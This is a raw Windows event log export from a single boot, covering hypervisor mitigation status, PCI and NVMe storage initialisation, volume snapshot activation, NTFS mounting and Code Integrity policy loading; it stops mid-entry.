bcdedit: false\nMitigations enabled: true\nCache flush needed: false\n\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t165\t\"Hypervisor configured mitigations for CVE-2019-11091, CVE-2018-12126, CVE-2018-12127, CVE-2018-12130 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports microarchitectural buffer flush: true\nBuffer flush needed: false\n\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.104\t3\tSecure Kernel started with status STATUS_SUCCESS and flags 82976.\tInformation\tSystem\tMicrosoft-Windows-IsolatedUserMode\n05.09.2026 08:28:48.104\t30\tThe firmware reported boot metrics.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.105\t20\t\"The leap second configuration has been updated.\nReason: Leap second data initialized from registry during boot\nLeap seconds enabled: true\nNew leap second count: 0\nOld leap second count: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.165\t16\tIOMMU fault reporting has been initialized.\tInformation\tSystem\tMicrosoft-Windows-HAL\n05.09.2026 08:28:48.306\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:48.314\t1\t[ROOT] (Bus 0x0000): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.315\t1\t[ROOT] (Bus 0x0000): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.317\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:48.471\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:48.490\t1\t[PDO] (0x0000.0x00.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.490\t1\t[PDO] (0x0000.0x00.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.490\t1\t[PDO] (0x0000.0x1f.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.491\t1\t[PDO] (0x0000.0x1f.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.499\t1\t[PDO] (0x0000.0x06.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.533\t1\t[PDO] (0x0000.0x06.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.533\t1\t[FDO] (0x0000.0x06.0x00) (Bus 0x0001): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.534\t1\t[FDO] (0x0000.0x06.0x00) (Bus 0x0001): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.596\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:48.604\t1\t[PDO] (0x0001.0x00.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.631\t1\t[PDO] (0x0001.0x00.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.632\t576\t\"Storport storage D3 setting.                    \nAdapter Guid: {946c1900-e3df-11f0-b74d-806e6f6e6963}                    \nAdapter port number: 4294967295                    \nAdapter hardware id: PCI\\VEN_1E49&DEV_1081&SUBSYS_10811E49&REV_03                    \nMiniport driver name: stornvme                    \nAdapter interface type: 5                    \nFlags: 4535619747840                    \nStorage D3 allowed: false                    \nACPI DSD property: 1                    \nD3 registry key state: 4294967295                    \nStorage D3 enable: true                    \nDirectFx enable: true\"\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.671\t527\tThe miniport logged an event.\tWarning\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.690\t513\t\"Host Memory Buffer Allocation for \\Device\\RaidPort0 succeeded.                    \nFailure Reason: None                    \nAllocation Policy: Maximum                    \nAttemped to Allocate: \t0x4000000 bytes                    \nActually Allocated: \t0x4000000 bytes                    \nDevice Minimum: \t0x4000000 bytes                    \nDevice Preferred: \t\t0x4000000 bytes                    \nPolicy Maximum: \t\t0x17875000 bytes\"\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.704\t567\tThe miniport logged an event.\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.713\t552\tStorport Device (Port = 0, Path = 0, Target = 0, Lun = 0) has arrived.\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.713\t553\tStorport Device {946c1900-e3df-11f0-b74d-806e6f6e6963} (Port = 0) was rescanned and changes were detected.\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.715\t6\tFile System Filter 'FileInfo' (10.0, \u200e2093\u200e-\u200e04\u200e-\u200e02T08:29:43.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:48.715\t6\tFile System Filter 'Wof' (10.0, \u200e2047\u200e-\u200e07\u200e-\u200e10T20:40:35.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:48.716\t6\tFile System Filter 'WdFilter' (10.0, \u200e2069\u200e-\u200e10\u200e-\u200e28T18:09:00.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:48.718\t100\tNTFS global corruption action state is now 0.\tInformation\tMicrosoft-Windows-Ntfs/WHC\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:48.755\t1\t[PDO] (0x0000.0x0a.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.783\t1\t[PDO] (0x0000.0x0a.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.785\t104\t\"Enhanced storage device with Class Disk Device Guid: {00000000-0000-0000-0000-000000000000} entered D0 power state.                    \nDevice type: IEEE1667                    \nDevice state: NoSecurity\"\tInformation\tMicrosoft-Windows-EnhancedStorage-EhStorClass/Operational\tMicrosoft-Windows-EnhancedStorage-ClassDriver\n05.09.2026 08:28:48.792\t106\t\"Storage device PDO capabilities discovered on Class Disk Device Guid: {00000000-0000-0000-0000-000000000000}.                    \nDevice PDO Capabilities: INC_512 set\"\tInformation\tMicrosoft-Windows-EnhancedStorage-EhStorClass/Operational\tMicrosoft-Windows-EnhancedStorage-ClassDriver\n05.09.2026 08:28:48.799\t549\t\"This is the first instance of the error seen during this time period                     \non Storport Device (Port = 0, Path = 0, Target = 0, Lun = 0) whose Corresponding Class Disk Device Guid is {00000000-0000-0000-0000-000000000000}:                     \nThe request opcode was 0x1A and completed with SrbStatus 0x6 and ScsiStatus 0x2.                     \nThe sense code was (0x5,0x24,0x0).                     \nThe io latency was 1 ms.\"\tError\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.804\t1006\tFor internal use only.\tInformation\tMicrosoft-Windows-Partition/Diagnostic\tMicrosoft-Windows-Partition\n05.09.2026 08:28:48.806\t207\t\"Physical disk {d10f1580-d0d5-c67f-846a-8d6faaba20dc} arrived.                  \nPool Id: {00000000-0000-0000-0000-000000000000}                  \nDrive Number: 0                  \nDrive Manufacturer: NULL                  \nDrive Model Number: YMTC PC41Q-1TB-B                  \nDrive Serial Number: A428_B717_BC98_000A.\"\tInformation\tMicrosoft-Windows-StorageSpaces-Driver/Operational\tMicrosoft-Windows-StorageSpaces-Driver\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 1 disk 0 offset 1048576.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 2 disk 0 offset 210763776.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 3 disk 0 offset 227540992.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 4 disk 0 offset 322350088192.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 5 disk 0 offset 995218161664.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 6 disk 0 offset 996291903488.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 7 disk 0 offset 1023135449088.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.811\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {23cb36d7-dcac-4575-b04d-8288cc1f8e2a}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.813\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {23cb36d7-dcac-4575-b04d-8288cc1f8e2a}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.813\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {4736eb51-c081-4903-81cc-8d311834b73f}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.815\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {4736eb51-c081-4903-81cc-8d311834b73f}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.815\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.819\t101\tInitialized VolumeCacheMap for device guid: {23606dfe-da07-4ad7-8798-8deaced0a66e}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:48.865\t103\t\"Activation of discovered snapshots began.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online or reverted to a snapshot.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.866\t106\t\"A persistent snapshot was activated.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {51ebadda-a72a-11f1-b7fe-289200f24a99}\nSnapshot Marked Deleted: false\nSnapshot Visible: false\nSnapshot Commit Timestamp: \u200e2026\u200e-\u200e09\u200e-\u200e03T13:17:39.962Z\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.  If the snapshot is 'visible', it was exposed as a local volume or file share.  If the snapshot is 'deleted', it is no longer available for use and its diff area space will be reclaimed when all older snapshots are deleted.\n\nYou should expect this event when a volume containing persistent snapshots is brought online or reverted to a snapshot.  If all discovered snapshots are successfully activated you should expect event 104, otherwise you will see event 105.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.866\t106\t\"A persistent snapshot was activated.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {51ebc0bd-a72a-11f1-b7fe-289200f24a99}\nSnapshot Marked Deleted: false\nSnapshot Visible: false\nSnapshot Commit Timestamp: \u200e2026\u200e-\u200e09\u200e-\u200e03T22:36:10.189Z\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.  If the snapshot is 'visible', it was exposed as a local volume or file share.  If the snapshot is 'deleted', it is no longer available for use and its diff area space will be reclaimed when all older snapshots are deleted.\n\nYou should expect this event when a volume containing persistent snapshots is brought online or reverted to a snapshot.  If all discovered snapshots are successfully activated you should expect event 104, otherwise you will see event 105.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.866\t107\t\"Reading of a snapshot diff area's metadata began.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver reads the diff area for the most-recent persistent snapshot (if any).  The diff area for earlier persistent snapshots is typically read the first time the snapshot is read from.\n\nYou should expect this event when a volume is brought online, reverted to a snapshot, or when reading from a persistent snapshot for the first time after bringing a volume online.  This event may also occur if a volume is dismounted that contains snapshots that have not been read since the volume was brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.896\t108\t\"Reading of a snapshot diff area's metadata completed.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\nCount of 1MB Reads: 4\nCount of 16KB Reads: 2\nDiff Area Metadata Size: 4210688 Bytes\nTotal Data Read: 4227072 Bytes\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver reads the diff area for the most-recent persistent snapshot (if any).  The diff area for earlier persistent snapshots is typically read the first time the snapshot is read from.  The size of the diff area metadata may be less than the total number of bytes read if the diff area is discontiguous on disk.\n\nYou should expect this event when a volume is brought online, reverted to a snapshot, or when reading from a persistent snapshot for the first time after bringing a volume online.  This event may also occur if a volume is dismounted that contains snapshots that have not been read since the volume was brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.896\t106\t\"A persistent snapshot was activated.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\nSnapshot Marked Deleted: false\nSnapshot Visible: false\nSnapshot Commit Timestamp: \u200e2026\u200e-\u200e09\u200e-\u200e04T13:17:42.364Z\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.  If the snapshot is 'visible', it was exposed as a local volume or file share.  If the snapshot is 'deleted', it is no longer available for use and its diff area space will be reclaimed when all older snapshots are deleted.\n\nYou should expect this event when a volume containing persistent snapshots is brought online or reverted to a snapshot.  If all discovered snapshots are successfully activated you should expect event 104, otherwise you will see event 105.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.905\t104\t\"Activation of discovered snapshots completed.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nTotal Number of Snapshots Found: 3\nNumber of Snapshots Marked for Delete: 0\nNumber of Visible Snapshots Found: 0\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.  Some snapshots may be marked 'visible', meaning they were exposed as a local volume or file share.  Some detected snapshots may be marked 'deleted', meaning they are no longer available for use and their diff area space will be reclaimed when all older snapshots are deleted.  Look for instances of event 106 to see each snapshot that was discovered and whether it was 'visible' or 'deleted'.\n\nYou should expect this event when a volume is brought online or reverted to a snapshot.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.905\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.905\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.908\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.909\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {071ed15c-a672-4f3b-b36f-218dce297808}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.911\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {071ed15c-a672-4f3b-b36f-218dce297808}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.911\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.915\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.916\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.917\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:49.191\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolume3\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Device number: 0\n           Boot partition: true\n\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n           \n           Total mount duration: 374 ms\n           Longest stage: 8. Duration 212 ms (57% of the total)\n           Second longest stage: 4. Duration 86 ms (23% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.191\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolume3\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 28359\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.191\t98\tVolume C: (\\Device\\HarddiskVolume3) is healthy.  No action is needed.\tInformation\tSystem\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.191\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolume3\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 3171\n           Longest run cached: 73.38 GB\n           Most populated bin Count: 71\n           Most populated bin's minimum length: 7.51 MB\n           Most populated bin's maximum length: 7.75 MB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.192\t101\tInitialized VolumeCacheMap for device guid: {00000000-0000-0000-0000-000000000000}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:49.263\t3084\tCode Integrity will enable WHQL driver enforcement for this boot session.  Settings 0x0. Exemption 1.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3099\tRefreshed and activated Code Integrity policy {60fd87f8-4593-44a0-91b0-2e0da022f248} Microsoft Windows Endpoint Security Policy. id 10.0.29526.0. Status 0x0\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3116\tSignature information for Code Integrity policy ID {60fd87f8-4593-44a0-91b0-2e0da022f248}.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3099\tRefreshed and activated Code Integrity policy {784c4414-79f4-4c32-a6a5-f0fb42a51d0d} Microsoft Windows Cross Certificates for Code Integrity Exceptions Audit Policy. id 10.29611.0.0. Status 0x0\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3116\tSignature information for Code Integrity policy ID {784c4414-79f4-4c32-a6a5-f0fb42a51d0d}.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3099\tRefreshed and activated Code Integrity policy {8f9cb695-5d48-48d6-a329-7202b44607e3} Microsoft Windows Cross Certificates for Code Integrity Exceptions Policy. id 10.29611.0.0. Status 0x0\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3116\tSignature information for Code Integrity policy ID {8f9cb695-5d48-48d6-a329-7202b44607e3}.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3099\tRefreshed and activated Code Integrity policy {a072029f-588b-4b5e-b7f9-05aad67df687} Microsoft Windows Virtualization Based Security Policy. id 10.0.29644.0. Status 0x0\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.265\t3116\tSignature information for Code Integrity policy ID {a072029f-588b-4b5e-b7f9-05aad67df687}.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.274\t101\tInitialized VolumeCacheMap for device guid: {00000000-0000-0000-0000-000000000000}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:49.289\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:49.289\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:49.295\t5\t\"WHEA successfully initialized.\n   6 error sources are active\n   Error record format version is 10.\"\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:49.295\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:49.306\t6\tFile System Filter 'FileCrypt' (10.0, \u200e2075\u200e-\u200e09\u200e-\u200e01T05:07:07.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:49.313\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n           Volume name: \n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolumeShadowCopy3\n           Device GUID: {00000000-0000-0000-0000-000000000000}\n           Device manufacturer: \n           Device model: \n           Device revision: \n           Device serial number: \n           Bus type: \n           Native NVMe: false\n\n           Adapter serial number: \n\n           Duration (micro seconds): 32610\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.313\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n           Volume name: \n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolumeShadowCopy3\n           Device GUID: 